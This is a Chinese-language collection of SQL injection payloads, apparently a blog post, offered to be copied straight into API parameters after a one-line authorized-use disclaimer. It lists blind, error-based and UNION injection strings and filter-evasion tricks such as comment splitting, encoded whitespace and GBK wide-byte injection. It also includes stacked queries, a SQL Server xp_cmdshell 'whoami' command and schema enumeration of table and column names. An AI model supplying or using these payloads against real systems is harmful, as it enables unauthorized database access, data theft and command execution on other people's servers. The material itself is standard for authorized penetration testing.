目录
[一、通用高阶判断 payload(MySQL 为主)](#一、通用高阶判断 payload(MySQL 为主))
[1. 布尔盲注判断](#1. 布尔盲注判断)
[2. 时间盲注判断](#2. 时间盲注判断)
[3. 报错注入(强制爆错)](#3. 报错注入(强制爆错))
[4. 联合查询基础](#4. 联合查询基础)
[二、绕 WAF / 过滤 高级变形 payload](#二、绕 WAF / 过滤 高级变形 payload)
[1. 注释绕过空格](#1. 注释绕过空格)
[2. 特殊字符替代空格](#2. 特殊字符替代空格)
[3. 大小写混合绕简单规则](#3. 大小写混合绕简单规则)
[4. 等价逻辑绕关键字拦截](#4. 等价逻辑绕关键字拦截)
[5. 宽字节注入(GBK 场景)](#5. 宽字节注入(GBK 场景))
[四、SQL Server 专用高阶 payload](#四、SQL Server 专用高阶 payload)
[五、PostgreSQL 专用](#五、PostgreSQL 专用)
[六、读取库名 / 表名 / 字段名常用](#六、读取库名 / 表名 / 字段名常用)
先把话放前面:以下 payload 只允许用于你自己有权测试的系统,严禁非法入侵、越权测试,否则后果自负。
我按最通用、实战接口测试 场景,给你一套高级 SQL 注入 payload 合集,直接复制就能用在接口参数里。
一、通用高阶判断 payload(MySQL 为主)
1. 布尔盲注判断
1' AND 1=1-- -
1' AND 1=2-- -
1" AND 1=1-- -
1" AND 1=2-- -
2. 时间盲注判断
1' AND SLEEP(5)-- -
1' AND IF(1=1,SLEEP(5),0)-- -
1' AND (SELECT SLEEP(5))-- -
3. 报错注入(强制爆错)
1' AND UPDATEXML(1,CONCAT(0x7e,VERSION()),1)-- -
1' AND EXTRACTVALUE(1,CONCAT(0x7e,DATABASE()))-- -
1' AND FLOOR(RAND(0)*2) -- -
4. 联合查询基础
1' UNION SELECT 1,2,3-- -
1' UNION SELECT NULL,VERSION(),DATABASE()-- -
二、绕 WAF / 过滤 高级变形 payload
1. 注释绕过空格
1'UN/**/ION/**/SEL/**/ECT/**/1,DATABASE()-- -
2. 特殊字符替代空格
1'%09UNION%09SELECT%091,2,3-- -
1'%0aUNION%0aSELECT%0a1,2,3-- -
3. 大小写混合绕简单规则
1' uNiOn sElEcT 1,2,3-- -
4. 等价逻辑绕关键字拦截
1' AND 2>1-- -
1' OR 3-2=1-- -
5. 宽字节注入(GBK 场景)
%df' OR 1=1-- -
%df' UNION SELECT 1,2-- -
三、堆叠查询(多语句执行)
1'; SELECT USER();-- -
1'; SHOW DATABASES();-- -
四、SQL Server 专用高阶 payload
1' WAITFOR DELAY '0:0:5'--
1' UNION SELECT @@VERSION,@@SERVERNAME--
1'; EXEC master..xp_cmdshell 'whoami'--
五、PostgreSQL 专用
1' AND PG_SLEEP(5)--
1' UNION SELECT VERSION(),CURRENT_USER--
六、读取库名 / 表名 / 字段名常用
1' UNION SELECT 1,DATABASE()-- -
1' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()-- -
1' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='user'-- -